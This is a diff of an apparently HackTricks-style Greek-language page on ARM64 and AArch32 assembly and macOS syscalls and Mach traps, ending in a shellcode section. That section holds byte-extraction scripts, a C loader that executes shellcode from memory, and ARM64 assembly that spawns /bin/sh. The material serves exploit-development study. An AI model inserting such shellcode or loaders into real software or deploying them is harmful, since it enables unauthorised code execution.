||||
mov x8, 93 ; Φόρτωση του αριθμού κλήσης συστήματος για έξοδο (93) στον καταχωρητή x8.
|
||||
mov x0, 0 ; Φόρτωση του κωδικού κατάστασης εξόδου (0) στον καταχωρητή x0.
|
||||
svc 0 ; Κλήση του συστήματος.
|
||||
mov x8, 93 ; Load the system call number for exit (93) into register x8.
|
||||
mov x0, 0 ; Load the exit status code (0) into register x0.
|
||||
svc 0 ; Make the system call.
|
||||
```
|
||||
|
||||
### **Πρόλογος Συνάρτησης**
|
||||
### **Function Prologue**
|
||||
|
||||
1. **Αποθήκευση του καταχωρητή σύνδεσης και του δείκτη πλαισίου στο στοίβα**:
|
||||
1. **Αποθήκευση του link register και του frame pointer στη στοίβα**:
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
2. **Ρύθμιση του νέου δείκτη πλαισίου**: `mov x29, sp` (ρυθμίζει τον νέο δείκτη πλαισίου για την τρέχουσα συνάρτηση)
|
||||
3. **Δημιουργία χώρου στη στοίβα για τοπικές μεταβλητές** (αν χρειάζεται): `sub sp, sp, <size>` (όπου `<size>` είναι ο αριθμός των byte που χρειάζονται)
|
||||
2. **Ρύθμιση του νέου δείκτη πλαισίου**: `mov x29, sp` (ρυθμίζει τον νέο δείκτη πλαισίου για την τρέχουσα συνάρτηση)
|
||||
3. **Δέσμευση χώρου στη στοίβα για τοπικές μεταβλητές** (εάν χρειάζεται): `sub sp, sp, <size>` (όπου `<size>` είναι ο αριθμός των bytes που χρειάζονται)
|
||||
|
||||
### **Επίλογος Συνάρτησης**
|
||||
|
||||
1. **Αποδέσμευση τοπικών μεταβλητών (αν έχουν αποδεσμευτεί)**: `add sp, sp, <size>`
|
||||
2. **Αποκατάσταση του καταχωρητή σύνδεσης και του δείκτη πλαισίου**:
|
||||
1. **Αποδέσμευση τοπικών μεταβλητών (εάν είχαν δεσμευτεί)**: `add sp, sp, <size>`
|
||||
2. **Επαναφορά του καταχωρητή σύνδεσης και του δείκτη πλαισίου**:
|
||||
```armasm
|
||||
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
|
||||
```
|
||||
3. **Return**: `ret` (επιστρέφει τον έλεγχο στον καλούντα χρησιμοποιώντας τη διεύθυνση στο register σύνδεσης)
|
||||
3. **Επιστροφή**: `ret` (επιστρέφει τον έλεγχο στον καλούντα χρησιμοποιώντας τη διεύθυνση στο link register)
|
||||
|
||||
## AARCH32 Κατάσταση Εκτέλεσης
|
||||
## Κατάσταση Εκτέλεσης AARCH32
|
||||
|
||||
Armv8-A υποστηρίζει την εκτέλεση 32-bit προγραμμάτων. **AArch32** μπορεί να εκτελείται σε ένα από **δύο σύνολα εντολών**: **`A32`** και **`T32`** και μπορεί να αλλάξει μεταξύ τους μέσω **`interworking`**.\
|
||||
**Προνομιακά** 64-bit προγράμματα μπορούν να προγραμματίσουν την **εκτέλεση 32-bit** προγραμμάτων εκτελώντας μια μεταφορά επιπέδου εξαίρεσης στο χαμηλότερο προνομιακό 32-bit.\
|
||||
Σημειώστε ότι η μετάβαση από 64-bit σε 32-bit συμβαίνει με μια μείωση του επιπέδου εξαίρεσης (για παράδειγμα, ένα 64-bit πρόγραμμα σε EL1 που ενεργοποιεί ένα πρόγραμμα σε EL0). Αυτό γίνεται ρυθμίζοντας το **bit 4 του** **`SPSR_ELx`** ειδικού καταχωρητή **σε 1** όταν το νήμα διαδικασίας `AArch32` είναι έτοιμο να εκτελεστεί και το υπόλοιπο του `SPSR_ELx` αποθηκεύει το **CPSR** των προγραμμάτων **`AArch32`**. Στη συνέχεια, η προνομιακή διαδικασία καλεί την εντολή **`ERET`** ώστε ο επεξεργαστής να μεταβεί σε **`AArch32`** εισερχόμενος σε A32 ή T32 ανάλογα με το CPSR**.**
|
||||
Armv8-A υποστηρίζει την εκτέλεση προγραμμάτων 32-bit. **AArch32** μπορεί να τρέξει σε ένα από **δύο σύνολα εντολών**: **`A32`** και **`T32`** και μπορεί να αλλάζει μεταξύ τους μέσω **`interworking`**.\
|
||||
**Προνομιούχα** 64-bit προγράμματα μπορούν να προγραμματίσουν την **εκτέλεση προγραμμάτων 32-bit** εκτελώντας μια μεταφορά επιπέδου εξαίρεσης στο λιγότερο προνομιούχο 32-bit.\
|
||||
Σημειώστε ότι η μετάβαση από 64-bit σε 32-bit συμβαίνει σε χαμηλότερο επίπεδο εξαίρεσης (π.χ. ένα 64-bit πρόγραμμα σε EL1 που ενεργοποιεί πρόγραμμα σε EL0). Αυτό γίνεται με το να οριστεί το **bit 4 του** ειδικού καταχωρητή **`SPSR_ELx`** **σε 1** όταν το `AArch32` process thread είναι έτοιμο για εκτέλεση και τα υπόλοιπα του `SPSR_ELx` αποθηκεύουν την CPSR των προγραμμάτων **`AArch32`**. Στη συνέχεια, η προνομιούχα διεργασία καλεί την εντολή **`ERET`** ώστε ο επεξεργαστής να μεταβεί σε **`AArch32`**, εισερχόμενος σε A32 ή T32 ανάλογα με την CPSR**.**
|
||||
|
||||
Η **`interworking`** συμβαίνει χρησιμοποιώντας τα bits J και T του CPSR. `J=0` και `T=0` σημαίνει **`A32`** και `J=0` και `T=1` σημαίνει **T32**. Αυτό μεταφράζεται βασικά σε ρύθμιση του **χαμηλότερου bit σε 1** για να υποδείξει ότι το σύνολο εντολών είναι T32.\
|
||||
Αυτό ρυθμίζεται κατά τη διάρκεια των **εντολών διακλάδωσης interworking,** αλλά μπορεί επίσης να ρυθμιστεί άμεσα με άλλες εντολές όταν το PC ρυθμίζεται ως ο καταχωρητής προορισμού. Παράδειγμα:
|
||||
Η **`interworking`** γίνεται χρησιμοποιώντας τα bit J και T της CPSR. `J=0` και `T=0` σημαίνει **`A32`** και `J=0` και `T=1` σημαίνει **T32**. Αυτό πρακτικά σημαίνει τη ρύθμιση του **κατώτερου bit σε 1** για να υποδείξει ότι το σύνολο εντολών είναι T32.\
|
||||
Αυτό ορίζεται κατά τη διάρκεια των **interworking branch instructions,** αλλά μπορεί επίσης να οριστεί απευθείας με άλλες εντολές όταν το PC οριστεί ως ο καταχωρητής προορισμού. Παράδειγμα:
|
||||
|
||||
Ένα άλλο παράδειγμα:
|
||||
```armasm
|
||||
@ -262,62 +265,62 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
||||
mov r0, #0
|
||||
mov r0, #8
|
||||
```
|
||||
### Registers
|
||||
### Καταχωρητές
|
||||
|
||||
Υπάρχουν 16 32-bit καταχωρητές (r0-r15). **Από r0 έως r14** μπορούν να χρησιμοποιηθούν για **οποιαδήποτε λειτουργία**, ωστόσο μερικοί από αυτούς είναι συνήθως δεσμευμένοι:
|
||||
Υπάρχουν 16 καταχωρητές 32-bit (r0-r15). **Από r0 έως r14** μπορούν να χρησιμοποιηθούν για **οποιαδήποτε ενέργεια**, ωστόσο κάποιοι συνήθως προορίζονται:
|
||||
|
||||
- **`r15`**: Μετρητής προγράμματος (πάντα). Περιέχει τη διεύθυνση της επόμενης εντολής. Στην A32 τρέχον + 8, στην T32, τρέχον + 4.
|
||||
- **`r11`**: Δείκτης πλαισίου
|
||||
- **`r12`**: Καταχωρητής κλήσης ενδοδιαδικασίας
|
||||
- **`r13`**: Δείκτης στοίβας
|
||||
- **`r14`**: Καταχωρητής σύνδεσης
|
||||
- **`r15`**: μετρητής προγράμματος (πάντα). Περιέχει τη διεύθυνση της επόμενης εντολής. Στο A32 current + 8, στο T32 current + 4.
|
||||
- **`r11`**: Δείκτης πλαισίου (Frame Pointer)
|
||||
- **`r12`**: Καταχωρητής κλήσης ενδο-διαδικασίας (Intra-procedural call register)
|
||||
- **`r13`**: Δείκτης στοίβας (Stack Pointer) (Σημείωση: η στοίβα είναι πάντα ευθυγραμμισμένη κατά 16 bytes)
|
||||
- **`r14`**: Link Register
|
||||
|
||||
Επιπλέον, οι καταχωρητές υποστηρίζονται σε **`banked registries`**. Αυτές είναι θέσεις που αποθηκεύουν τις τιμές των καταχωρητών επιτρέποντας την εκτέλεση **γρήγορων εναλλαγών πλαισίου** στη διαχείριση εξαιρέσεων και σε προνομιακές λειτουργίες για να αποφευχθεί η ανάγκη να αποθηκεύονται και να επαναφέρονται οι καταχωρητές χειροκίνητα κάθε φορά.\
|
||||
Αυτό γίνεται με **την αποθήκευση της κατάστασης του επεξεργαστή από το `CPSR` στο `SPSR`** της λειτουργίας του επεξεργαστή στην οποία λαμβάνεται η εξαίρεση. Κατά την επιστροφή από την εξαίρεση, το **`CPSR`** επαναφέρεται από το **`SPSR`**.
|
||||
Επιπλέον, οι καταχωρητές αντιγράφονται σε **`banked registries`**. Πρόκειται για θέσεις που αποθηκεύουν τις τιμές των καταχωρητών επιτρέποντας την **γρήγορη εναλλαγή context** κατά την αντιμετώπιση εξαιρέσεων και σε προνομιακές λειτουργίες, ώστε να αποφεύγεται η ανάγκη χειροκίνητης αποθήκευσης και επαναφοράς των καταχωρητών κάθε φορά.\
|
||||
Αυτό γίνεται με **αποθήκευση της κατάστασης του επεξεργαστή από το `CPSR` στο `SPSR`** της λειτουργίας επεξεργασίας στην οποία έχει προκύψει η εξαίρεση. Κατά την επιστροφή από την εξαίρεση, το **`CPSR`** επαναφέρεται από το **`SPSR`**.
|
||||
|
||||
### CPSR - Current Program Status Register
|
||||
### CPSR - Καταχωρητής Κατάστασης Τρέχοντος Προγράμματος
|
||||
|
||||
Στην AArch32 το CPSR λειτουργεί παρόμοια με το **`PSTATE`** στην AArch64 και αποθηκεύεται επίσης στο **`SPSR_ELx`** όταν λαμβάνεται μια εξαίρεση για να αποκατασταθεί αργότερα η εκτέλεση:
|
||||
Στο AArch32 το CPSR λειτουργεί παρόμοια με το **`PSTATE`** στο AArch64 και αποθηκεύεται επίσης στο **`SPSR_ELx`** όταν λαμβάνεται μια εξαίρεση για να επαναφερθεί αργότερα η εκτέλεση:
|
||||
|
||||
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Τα πεδία είναι χωρισμένα σε ορισμένες ομάδες:
|
||||
Τα πεδία χωρίζονται σε μερικές ομάδες:
|
||||
|
||||
- Application Program Status Register (APSR): Αριθμητικές σημαίες και προσβάσιμες από EL0
|
||||
- Execution State Registers: Συμπεριφορά διαδικασίας (διαχειρίζεται από το OS).
|
||||
- Application Program Status Register (APSR): Σημαίες αριθμητικών αποτελεσμάτων και προσβάσιμο από EL0
|
||||
- Execution State Registers: Συμπεριφορά της διεργασίας (διαχειρίζεται από το OS).
|
||||
|
||||
#### Application Program Status Register (APSR)
|
||||
|
||||
- Οι σημαίες **`N`**, **`Z`**, **`C`**, **`V`** (όπως στην AArch64)
|
||||
- Η σημαία **`Q`**: Ρυθμίζεται σε 1 όποτε **συμβαίνει κορεσμός ακέραιων αριθμών** κατά την εκτέλεση μιας εξειδικευμένης εντολής αριθμητικής κορεσμού. Μόλις ρυθμιστεί σε **`1`**, θα διατηρήσει την τιμή μέχρι να ρυθμιστεί χειροκίνητα σε 0. Επιπλέον, δεν υπάρχει καμία εντολή που να ελέγχει την τιμή της έμμεσα, πρέπει να γίνει διαβάζοντάς την χειροκίνητα.
|
||||
- Οι σημαίες **`GE`** (Μεγαλύτερο ή ίσο): Χρησιμοποιούνται σε SIMD (Single Instruction, Multiple Data) λειτουργίες, όπως "παράλληλη πρόσθεση" και "παράλληλη αφαίρεση". Αυτές οι λειτουργίες επιτρέπουν την επεξεργασία πολλών σημείων δεδομένων σε μία μόνο εντολή.
|
||||
- Οι σημαίες **`N`**, **`Z`**, **`C`**, **`V`** (όπως στο AArch64)
|
||||
- Η σημαία **`Q`**: Ορίζεται σε 1 όποτε συμβαίνει **κορεσμός ακεραίων** κατά την εκτέλεση μιας ειδικής εντολής κορεσμένης αριθμητικής. Μόλις οριστεί σε **`1`**, διατηρεί την τιμή μέχρι να οριστεί χειροκίνητα σε 0. Επιπλέον, δεν υπάρχει καμία εντολή που να ελέγχει την τιμή της έμμεσα — πρέπει να διαβαστεί χειροκίνητα.
|
||||
- Σημαίες **`GE`** (Greater than or equal): Χρησιμοποιούνται σε SIMD (Single Instruction, Multiple Data) λειτουργίες, όπως "parallel add" και "parallel subtract". Αυτές οι λειτουργίες επιτρέπουν την επεξεργασία πολλαπλών δεδομένων σε μία εντολή.
|
||||
|
||||
Για παράδειγμα, η εντολή **`UADD8`** **προσθέτει τέσσερις ζεύγους byte** (από δύο 32-bit τελεστές) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν 32-bit καταχωρητή. Στη συνέχεια **ρυθμίζει τις σημαίες `GE` στο `APSR`** με βάση αυτά τα αποτελέσματα. Κάθε σημαία GE αντιστοιχεί σε μία από τις προσθέσεις byte, υποδεικνύοντας αν η πρόσθεση για αυτό το ζεύγος byte **υπερχειλίζει**.
|
||||
Για παράδειγμα, η εντολή **`UADD8`** **προσθέτει τέσσερα ζεύγη byte** (από δύο 32-bit τελεστές) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν 32-bit καταχωρητή. Στη συνέχεια **ορίζει τις σημαίες `GE` στο `APSR`** βάσει αυτών των αποτελεσμάτων. Καθεμία από τις σημαίες GE αντιστοιχεί σε μία από τις προσθέσεις byte, υποδεικνύοντας εάν η πρόσθεση για το αντίστοιχο ζεύγος byte **υπερχείλισε**.
|
||||
|
||||
Η εντολή **`SEL`** χρησιμοποιεί αυτές τις σημαίες GE για να εκτελέσει συνθήκες δράσης.
|
||||
Η εντολή **`SEL`** χρησιμοποιεί αυτές τις σημαίες GE για να εκτελεί υπό όρους ενέργειες.
|
||||
|
||||
#### Execution State Registers
|
||||
|
||||
- Τα bits **`J`** και **`T`**: **`J`** πρέπει να είναι 0 και αν **`T`** είναι 0 χρησιμοποιείται το σύνολο εντολών A32, και αν είναι 1, χρησιμοποιείται το T32.
|
||||
- **IT Block State Register** (`ITSTATE`): Αυτά είναι τα bits από 10-15 και 25-26. Αποθηκεύουν συνθήκες για εντολές μέσα σε μια ομάδα με πρόθεμα **`IT`**.
|
||||
- Τα bit **`J`** και **`T`**: Το **`J`** πρέπει να είναι 0 και αν το **`T`** είναι 0 χρησιμοποιείται το σετ εντολών A32, ενώ αν είναι 1 χρησιμοποιείται το T32.
|
||||
- IT Block State Register (`ITSTATE`): Πρόκειται για τα bit 10-15 και 25-26. Αποθηκεύουν τις συνθήκες για εντολές μέσα σε μια ομάδα με πρόθεμα **`IT`**.
|
||||
- Το bit **`E`**: Υποδεικνύει την **endianness**.
|
||||
- **Bits Μόδας και Μάσκας Εξαίρεσης** (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το **5ο** υποδεικνύει αν το πρόγραμμα εκτελείται ως 32bit (ένα 1) ή 64bit (ένα 0). Τα άλλα 4 αντιπροσωπεύουν τη **λειτουργία εξαίρεσης που χρησιμοποιείται αυτή τη στιγμή** (όταν συμβαίνει μια εξαίρεση και διαχειρίζεται). Ο αριθμός που έχει ρυθμιστεί **υποδεικνύει την τρέχουσα προτεραιότητα** σε περίπτωση που προκληθεί άλλη εξαίρεση ενώ αυτή διαχειρίζεται.
|
||||
- Mode and Exception Mask Bits (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το 5ο bit δείχνει αν το πρόγραμμα τρέχει ως 32bit (1) ή 64bit (0). Τα άλλα 4 αντιπροσωπεύουν τη λειτουργία εξαίρεσης που χρησιμοποιείται αυτήν τη στιγμή (όταν συμβαίνει μια εξαίρεση και αυτή διαχειρίζεται). Ο αριθμός που είναι ρυθμισμένος υποδεικνύει την τρέχουσα προτεραιότητα σε περίπτωση που ενεργοποιηθεί άλλη εξαίρεση ενώ αυτή εκτελείται.
|
||||
|
||||
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bits **`A`**, `I`, `F`. Αν **`A`** είναι 1 σημαίνει ότι θα προκληθούν **ασύγχρονοι τερματισμοί**. Το **`I`** ρυθμίζει την αντίδραση σε εξωτερικά αιτήματα διακοπής **Interrupts Requests** (IRQs). και το F σχετίζεται με **Fast Interrupt Requests** (FIRs).
|
||||
- **`AIF`**: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bit **`A`**, `I`, `F`. Αν το **`A`** είναι 1 σημαίνει ότι θα ενεργοποιηθούν asynchronous aborts. Το **`I`** ρυθμίζει την ανταπόκριση σε εξωτερικά αιτήματα hardware Interrupts (IRQs), και το `F` σχετίζεται με Fast Interrupt Requests (FIRs).
|
||||
|
||||
## macOS
|
||||
|
||||
### BSD syscalls
|
||||
|
||||
Δείτε το [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Οι BSD syscalls θα έχουν **x16 > 0**.
|
||||
Δείτε το [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) ή εκτελέστε `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls θα έχουν **x16 > 0**.
|
||||
|
||||
### Mach Traps
|
||||
|
||||
Δείτε στο [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) τον `mach_trap_table` και στο [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) τα πρωτότυπα. Ο μέγιστος αριθμός Mach traps είναι `MACH_TRAP_TABLE_COUNT` = 128. Οι Mach traps θα έχουν **x16 < 0**, οπότε πρέπει να καλέσετε τους αριθμούς από την προηγούμενη λίστα με ένα **μείον**: **`_kernelrpc_mach_vm_allocate_trap`** είναι **`-10`**.
|
||||
Δείτε στο [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) τον `mach_trap_table` και στο [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) τα prototypes. Ο μέγιστος αριθμός των Mach traps είναι `MACH_TRAP_TABLE_COUNT` = 128. Τα Mach traps θα έχουν **x16 < 0**, οπότε πρέπει να καλείτε τους αριθμούς από την προηγούμενη λίστα με ένα **πλην**: **`_kernelrpc_mach_vm_allocate_trap`** είναι **`-10`**.
|
||||
|
||||
Μπορείτε επίσης να ελέγξετε το **`libsystem_kernel.dylib`** σε έναν αποσυμπιεστή για να βρείτε πώς να καλέσετε αυτές τις (και τις BSD) syscalls:
|
||||
Μπορείτε επίσης να ελέγξετε το **`libsystem_kernel.dylib`** σε έναν disassembler για να βρείτε πώς να καλείτε αυτές (και τις BSD) syscalls:
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
|
||||
# iOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
||||
```
|
||||
Σημειώστε ότι **Ida** και **Ghidra** μπορούν επίσης να αποσυμπιέσουν **συγκεκριμένα dylibs** από την κρυφή μνήμη απλά περνώντας την κρυφή μνήμη.
|
||||
Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache.
|
||||
|
||||
> [!TIP]
|
||||
> Μερικές φορές είναι πιο εύκολο να ελέγξετε τον **αποσυμπιεσμένο** κώδικα από το **`libsystem_kernel.dylib`** **παρά** να ελέγξετε τον **πηγαίο κώδικα** επειδή ο κώδικας αρκετών syscalls (BSD και Mach) παράγεται μέσω scripts (ελέγξτε τα σχόλια στον πηγαίο κώδικα) ενώ στο dylib μπορείτε να βρείτε τι καλείται.
|
||||
> Μερικές φορές είναι πιο εύκολο να ελέγξετε τον **decompiled** κώδικα από **`libsystem_kernel.dylib`** **παρά** να ελέγξετε τον **source code** επειδή ο κώδικας πολλών syscalls (BSD και Mach) παράγεται μέσω scripts (δείτε τα σχόλια στον source code), ενώ στο dylib μπορείτε να βρείτε τι καλείται.
|
||||
|
||||
### machdep calls
|
||||
|
||||
Το XNU υποστηρίζει έναν άλλο τύπο κλήσεων που ονομάζονται εξαρτώμενες από τη μηχανή. Οι αριθμοί αυτών των κλήσεων εξαρτώνται από την αρχιτεκτονική και ούτε οι κλήσεις ούτε οι αριθμοί είναι εγγυημένο ότι θα παραμείνουν σταθεροί.
|
||||
Το XNU υποστηρίζει έναν άλλο τύπο κλήσεων που ονομάζονται machine dependent. Οι αριθμοί αυτών των κλήσεων εξαρτώνται από την αρχιτεκτονική και ούτε οι κλήσεις ούτε οι αριθμοί εγγυώνται ότι θα παραμείνουν σταθεροί.
|
||||
|
||||
### comm page
|
||||
|
||||
Αυτή είναι μια σελίδα μνήμης που ανήκει στον πυρήνα και είναι χαρτογραφημένη στο χώρο διευθύνσεων κάθε διεργασίας χρήστη. Σκοπός της είναι να διευκολύνει τη μετάβαση από τη λειτουργία χρήστη στον χώρο του πυρήνα πιο γρήγορα από τη χρήση syscalls για υπηρεσίες πυρήνα που χρησιμοποιούνται τόσο πολύ ώστε αυτή η μετάβαση θα ήταν πολύ αναποτελεσματική.
|
||||
Αυτή είναι μια kernel owner memory page που είναι mapped στο address scape κάθε users process. Σκοπός της είναι να κάνει τη μετάβαση από user mode σε kernel space πιο γρήγονρη από τη χρήση syscalls για kernel services που χρησιμοποιούνται τόσο πολύ ώστε αυτή η μετάβαση να ήταν πολύ αναποτελεσματική.
|
||||
|
||||
Για παράδειγμα, η κλήση `gettimeofdate` διαβάζει την τιμή του `timeval` απευθείας από τη σελίδα comm.
|
||||
Για παράδειγμα η κλήση `gettimeofdate` διαβάζει την τιμή του `timeval` απευθείας από την comm page.
|
||||
|
||||
### objc_msgSend
|
||||
|
||||
Είναι πολύ συνηθισμένο να βρείτε αυτή τη συνάρτηση να χρησιμοποιείται σε προγράμματα Objective-C ή Swift. Αυτή η συνάρτηση επιτρέπει την κλήση μιας μεθόδου ενός αντικειμένου Objective-C.
|
||||
Είναι πολύ συνηθισμένο να βρείτε αυτή τη συνάρτηση να χρησιμοποιείται σε προγράμματα Objective-C ή Swift. Αυτή η συνάρτηση επιτρέπει να κληθεί μια μέθοδος ενός Objective-C αντικειμένου.
|
||||
|
||||
Παράμετροι ([περισσότερες πληροφορίες στα docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
|
||||
Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
|
||||
|
||||
- x0: self -> Δείκτης στην περίπτωση
|
||||
- x1: op -> Επιλογέας της μεθόδου
|
||||
- x2... -> Υπόλοιπες παράμετροι της καλούμενης μεθόδου
|
||||
- x0: self -> Pointer to the instance
|
||||
- x1: op -> Selector of the method
|
||||
- x2... -> Τα υπόλοιπα arguments της invoked μεθόδου
|
||||
|
||||
Έτσι, αν βάλετε σημείο διακοπής πριν από τον κλάδο σε αυτή τη συνάρτηση, μπορείτε εύκολα να βρείτε τι καλείται στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από το `NSConcreteTask` που θα εκτελέσει μια εντολή):
|
||||
Άρα, αν βάλετε breakpoint πριν το branch προς αυτή τη συνάρτηση, μπορείτε εύκολα να βρείτε τι καλείται στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από `NSConcreteTask` που θα τρέξει μια εντολή):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
@ -369,27 +372,27 @@ whoami
|
||||
)
|
||||
```
|
||||
> [!TIP]
|
||||
> Ρυθμίζοντας τη μεταβλητή περιβάλλοντος **`NSObjCMessageLoggingEnabled=1`** είναι δυνατή η καταγραφή όταν καλείται αυτή η συνάρτηση σε ένα αρχείο όπως το `/tmp/msgSends-pid`.
|
||||
> Ορίζοντας τη μεταβλητή περιβάλλοντος **`NSObjCMessageLoggingEnabled=1`** είναι δυνατόν να καταγράψετε πότε αυτή η συνάρτηση καλείται σε ένα αρχείο όπως `/tmp/msgSends-pid`.
|
||||
>
|
||||
> Επιπλέον, ρυθμίζοντας **`OBJC_HELP=1`** και καλώντας οποιοδήποτε δυαδικό, μπορείτε να δείτε άλλες μεταβλητές περιβάλλοντος που θα μπορούσατε να χρησιμοποιήσετε για να **log** όταν συμβαίνουν ορισμένες ενέργειες Objc-C.
|
||||
> Επιπλέον, ορίζοντας **`OBJC_HELP=1`** και εκτελώντας οποιοδήποτε binary μπορείτε να δείτε άλλες μεταβλητές περιβάλλοντος που μπορείτε να χρησιμοποιήσετε για να **log** πότε συμβαίνουν ορισμένες Objc-C ενέργειες.
|
||||
|
||||
Όταν καλείται αυτή η συνάρτηση, είναι απαραίτητο να βρείτε τη μέθοδο που καλείται της υποδεικνυόμενης παρουσίας, για αυτό γίνονται διαφορετικές αναζητήσεις:
|
||||
Όταν καλείται αυτή η συνάρτηση, χρειάζεται να εντοπιστεί η μέθοδος που καλείται στην υποδεικνυόμενη instance — για αυτό εκτελούνται διάφορες αναζητήσεις:
|
||||
|
||||
- Εκτέλεση αισιόδοξης αναζήτησης cache:
|
||||
- Αν είναι επιτυχής, τελειώσαμε
|
||||
- Απόκτηση runtimeLock (ανάγνωση)
|
||||
- Αν (realize && !cls->realized) πραγματοποιήστε την πραγματοποίηση της κλάσης
|
||||
- Αν (initialize && !cls->initialized) πραγματοποιήστε την αρχικοποίηση της κλάσης
|
||||
- Δοκιμάστε την cache της κλάσης:
|
||||
- Αν είναι επιτυχής, τελειώσαμε
|
||||
- Δοκιμάστε τη λίστα μεθόδων της κλάσης:
|
||||
- Αν βρεθεί, γεμίστε την cache και τελειώσαμε
|
||||
- Δοκιμάστε την cache της υπερκλάσης:
|
||||
- Αν είναι επιτυχής, τελειώσαμε
|
||||
- Δοκιμάστε τη λίστα μεθόδων της υπερκλάσης:
|
||||
- Αν βρεθεί, γεμίστε την cache και τελειώσαμε
|
||||
- Αν (resolver) δοκιμάστε τον επιλύτη μεθόδων και επαναλάβετε από την αναζήτηση κλάσης
|
||||
- Αν είστε ακόμα εδώ (= όλα τα άλλα έχουν αποτύχει) δοκιμάστε τον προωθητή
|
||||
- Perform optimistic cache lookup:
|
||||
- Αν επιτύχει, ολοκληρώνεται
|
||||
- Απόκτηση runtimeLock (read)
|
||||
- If (realize && !cls->realized) realize class
|
||||
- If (initialize && !cls->initialized) initialize class
|
||||
- Try class own cache:
|
||||
- Αν επιτύχει, ολοκληρώνεται
|
||||
- Try class method list:
|
||||
- Αν βρεθεί, ενημέρωσε την cache και ολοκληρώνεται
|
||||
- Try superclass cache:
|
||||
- Αν επιτύχει, ολοκληρώνται
|
||||
- Try superclass method list:
|
||||
- Αν βρεθεί, ενημέρωσε την cache και ολοκληρώνεται
|
||||
- If (resolver) try method resolver, and repeat from class lookup
|
||||
- If still here (= all else has failed) try forwarder
|
||||
|
||||
### Shellcodes
|
||||
|
||||
@ -401,14 +404,14 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
||||
# You could also use this
|
||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||
```
|
||||
Για να εξαγάγετε τα bytes:
|
||||
Για να εξάγετε τα bytes:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
Για νεότερες εκδόσεις macOS:
|
||||
Για νεότερα macOS:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
||||
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
@ -417,7 +420,7 @@ done
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Κώδικας C για δοκιμή του shellcode</summary>
|
||||
<summary>C code για να δοκιμάσετε το shellcode</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
@ -467,7 +470,7 @@ return 0;
|
||||
|
||||
#### Shell
|
||||
|
||||
Ληφθεί από [**εδώ**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) και εξηγείται.
|
||||
Λήφθηκε από [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) και εξηγείται.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="with adr"}}
|
||||
@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="με στοίβα"}}
|
||||
{{#tab name="with stack"}}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
@ -518,7 +521,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="με adr για linux"}}
|
||||
{{#tab name="with adr for linux"}}
|
